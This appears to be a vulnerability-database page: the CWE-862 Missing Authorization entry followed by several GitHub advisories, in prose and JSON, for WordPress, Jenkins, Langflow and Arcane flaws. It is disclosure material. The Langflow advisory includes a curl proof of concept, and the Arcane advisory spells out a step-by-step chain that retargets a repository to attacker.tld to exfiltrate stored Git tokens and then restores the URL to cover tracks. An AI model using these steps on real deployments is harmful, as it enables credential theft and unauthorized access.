CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19853 vulnerabilities reference this CWE, most recent first.
GHSA-7GR5-P3Q8-FP6G
Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the uip_save_form_as_option() function in all versions up to, and including, 3.5.04. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
{
"affected": [],
"aliases": [
"CVE-2025-1309"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T08:15:42Z",
"severity": "HIGH"
},
"details": "The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the uip_save_form_as_option() function in all versions up to, and including, 3.5.04. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.",
"id": "GHSA-7gr5-p3q8-fp6g",
"modified": "2025-03-07T09:30:34Z",
"published": "2025-03-07T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1309"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/uipress-lite/tags/3.5.00/admin/core/ajax-functions.php#L625"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3249865"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6754ba34-0dc7-40a5-9548-a5f77db0df53?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7GRV-GXHV-F4PM
Vulnerability from github – Published: 2025-01-02 12:32 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP User Frontend: from n/a through 3.6.8.
{
"affected": [],
"aliases": [
"CVE-2023-45002"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-02T12:15:08Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in weDevs WP User Frontend allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP User Frontend: from n/a through 3.6.8.",
"id": "GHSA-7grv-gxhv-f4pm",
"modified": "2026-04-28T21:35:28Z",
"published": "2025-01-02T12:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45002"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-user-frontend/vulnerability/wordpress-wp-user-frontend-plugin-3-6-8-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7GRX-3XCX-2XV5
Vulnerability from github – Published: 2026-03-20 20:47 – Updated: 2026-06-06 00:56Summary
The /api/v1/files/images/{flow_id}/{file_name} endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200.
Details
src/backend/base/langflow/api/v1/files.py:138-164 — download_image takes flow_id: UUID as a bare path parameter with no Depends(get_flow) or CurrentActiveUser. All other file routes (download_file, upload_file, list_files, delete_file) use Depends(get_flow) which enforces both authentication and ownership. There is no global auth middleware on /api/v1; protection is per-endpoint only.
PoC
curl -v "http://localhost:7860/api/v1/files/images/<flow_uuid>/<filename.png>"
# Returns HTTP 200 with image bytes, no auth header required
Impact
Unauthenticated cross-tenant data leak. In a multi-tenant deployment, any attacker who can discover or guess a flow_id (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33484"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:47:10Z",
"nvd_published_at": "2026-03-24T14:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200.\n\n### Details\n`src/backend/base/langflow/api/v1/files.py:138-164` \u2014 `download_image` takes `flow_id`: UUID as a bare path parameter with no Depends(get_flow) or `CurrentActiveUser`. All other file routes (`download_file`, `upload_file`, `list_files`, `delete_file`) use `Depends(get_flow)` which enforces both authentication and ownership. There is no global auth middleware on /api/v1; protection is per-endpoint only.\n\n### PoC\n```\ncurl -v \"http://localhost:7860/api/v1/files/images/\u003cflow_uuid\u003e/\u003cfilename.png\u003e\"\n# Returns HTTP 200 with image bytes, no auth header required\n```\n\n### Impact\nUnauthenticated cross-tenant data leak. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user\u0027s uploaded images without credentials.",
"id": "GHSA-7grx-3xcx-2xv5",
"modified": "2026-06-06T00:56:13Z",
"published": "2026-03-20T20:47:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-7grx-3xcx-2xv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33484"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-80.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "langflow has Unauthenticated IDOR on Image Downloads"
}
GHSA-7GXX-5PQG-V8F2
Vulnerability from github – Published: 2025-10-31 06:33 – Updated: 2025-10-31 15:30The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.
{
"affected": [],
"aliases": [
"CVE-2025-11191"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T06:15:32Z",
"severity": "MODERATE"
},
"details": "The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.",
"id": "GHSA-7gxx-5pqg-v8f2",
"modified": "2025-10-31T15:30:31Z",
"published": "2025-10-31T06:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11191"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/74f19ff2-d5c0-4bd4-83f2-688ea37022b1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7H24-4X4C-69MF
Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2022-11-03 23:46A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.alauda.jenkins.plugins:alauda-kubernetes-support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-16576"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-03T23:46:33Z",
"nvd_published_at": "2019-12-17T15:15:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.",
"id": "GHSA-7h24-4x4c-69mf",
"modified": "2022-11-03T23:46:33Z",
"published": "2022-05-24T17:03:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16576"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1602"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/12/17/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Authorization in Jenkins Alauda Kubernetes Suport Plugin"
}
GHSA-7H26-HG47-P9HX
Vulnerability from github – Published: 2026-05-18 13:44 – Updated: 2026-06-09 10:30Summary
Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.
Details
Auth bridge does not enforce role
backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:
// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }
grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):
if userModel.Roles == nil {
userModel.Roles = []string{"user"}
}
Git repository handler is missing the admin gate on 8 of 9 endpoints
backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers — ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) — perform no role check whatsoever:
// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
if h.repoService == nil {
return nil, huma.Error500InternalServerError("service not available")
}
actor := models.User{}
if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
actor = *currentUser
}
repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
...
The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either — grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.
Credential-preserving update primitive
UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:
// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil { updates["name"] = *req.Name }
if req.URL != nil { updates["url"] = *req.URL } // <-- attacker-pivotable
if req.AuthType != nil { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil { // <-- only rewritten if supplied
if *req.Token == "" { updates["token"] = "" } else {
encrypted, err := crypto.Encrypt(*req.Token)
...
updates["token"] = encrypted
}
}
So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.
Sink: Basic-auth send to attacker URL
TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:
// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
authConfig := git.AuthConfig{
AuthType: repository.AuthType, Username: repository.Username, ...
}
if repository.Token != "" {
token, err := crypto.Decrypt(repository.Token)
...
authConfig.Token = token
}
...
}
// backend/pkg/gitutil/git.go:60-69
case "http":
if config.Token != "" {
return &githttp.BasicAuth{
Username: config.Username,
Password: config.Token,
}, nil
}
go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.
Full attack chain (HTTP-token variant)
- Attacker authenticates as a normal
user(registration or any pre-existing low-priv account). GET /api/customize/git-repositoriesenumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their existence is visible).PUT /api/customize/git-repositories/{id}with{"url":"https://attacker.tld/repo.git"}retargets the repo while preserving the encrypted PAT.POST /api/customize/git-repositories/{id}/test(orGET .../branches) makes Arcane decrypt the PAT and send it toattacker.tldas HTTP Basic auth.- Optional cleanup:
PUTagain to restore the original URL, leaving no obvious config drift; orDELETEevery repo for DoS on the GitOps pipeline.
The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).
Impact
- Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).
- Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
- Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
- Denial of service on the GitOps pipeline.
DELETE /customize/git-repositories/{id}lets any user wipe production repository configurations. - Information disclosure of private repo contents.
GET .../filesclones private repos using stored credentials and returns file contents in the API response, regardless of caller role.
Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getarcaneapp/arcane/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45625"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T13:44:47Z",
"nvd_published_at": "2026-05-29T18:17:10Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nArcane\u0027s huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository\u0027s URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker\u0027s host \u2014 producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers \u2014 admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers \u2014 `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) \u2014 perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n if h.repoService == nil {\n return nil, huma.Error500InternalServerError(\"service not available\")\n }\n actor := models.User{}\n if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists \u0026\u0026 currentUser != nil {\n actor = *currentUser\n }\n repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either \u2014 `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil { updates[\"name\"] = *req.Name }\nif req.URL != nil { updates[\"url\"] = *req.URL } // \u003c-- attacker-pivotable\nif req.AuthType != nil { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil { // \u003c-- only rewritten if supplied\n if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n encrypted, err := crypto.Encrypt(*req.Token)\n ...\n updates[\"token\"] = encrypted\n }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n authConfig := git.AuthConfig{\n AuthType: repository.AuthType, Username: repository.Username, ...\n }\n if repository.Token != \"\" {\n token, err := crypto.Decrypt(repository.Token)\n ...\n authConfig.Token = token\n }\n ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n if config.Token != \"\" {\n return \u0026githttp.BasicAuth{\n Username: config.Username,\n Password: config.Token,\n }, nil\n }\n```\n\n`go-git`\u0027s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL \u2014 so the cleartext PAT lands in the attacker\u0027s web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username \u2014 token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org\u0027s source repos, CI secrets, container registries, and downstream production systems \u2014 escaping Arcane\u0027s security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.",
"id": "GHSA-7h26-hg47-p9hx",
"modified": "2026-06-09T10:30:21Z",
"published": "2026-05-18T13:44:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45625"
},
{
"type": "PACKAGE",
"url": "https://github.com/getarcaneapp/arcane"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs"
}
GHSA-7H2H-J55F-6VMR
Vulnerability from github – Published: 2026-10-13 09:30 – Updated: 2026-10-13 09:30Missing Authorization vulnerability in Karolína Vyskočilová Pay for Payment for WooCommerce woocommerce-pay-for-payment allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Pay for Payment for WooCommerce: from n/a through 3.0.1.
{
"affected": [],
"aliases": [
"CVE-2026-108493"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-13T09:17:14Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Karol\u00edna Vysko\u010dilov\u00e1 Pay for Payment for WooCommerce woocommerce-pay-for-payment allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Pay for Payment for WooCommerce: from n/a through 3.0.1.",
"id": "GHSA-7h2h-j55f-6vmr",
"modified": "2026-10-13T09:30:46Z",
"published": "2026-10-13T09:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108493"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woocommerce-pay-for-payment/vulnerability/wordpress-pay-for-payment-for-woocommerce-plugin-3-0-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7H2J-H5XP-H3GH
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-12-02 20:34A missing permission check in Jenkins SSH Plugin 2.6.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:ssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-30959"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-01T20:54:49Z",
"nvd_published_at": "2022-05-17T15:15:00Z",
"severity": "HIGH"
},
"details": "A missing permission check in Jenkins SSH Plugin 2.6.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.",
"id": "GHSA-7h2j-h5xp-h3gh",
"modified": "2022-12-02T20:34:15Z",
"published": "2022-05-18T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30959"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/ssh-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-05-17/#SECURITY-2093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing Authorization in Jenkins SSH plugin"
}
GHSA-7H45-367C-V4HM
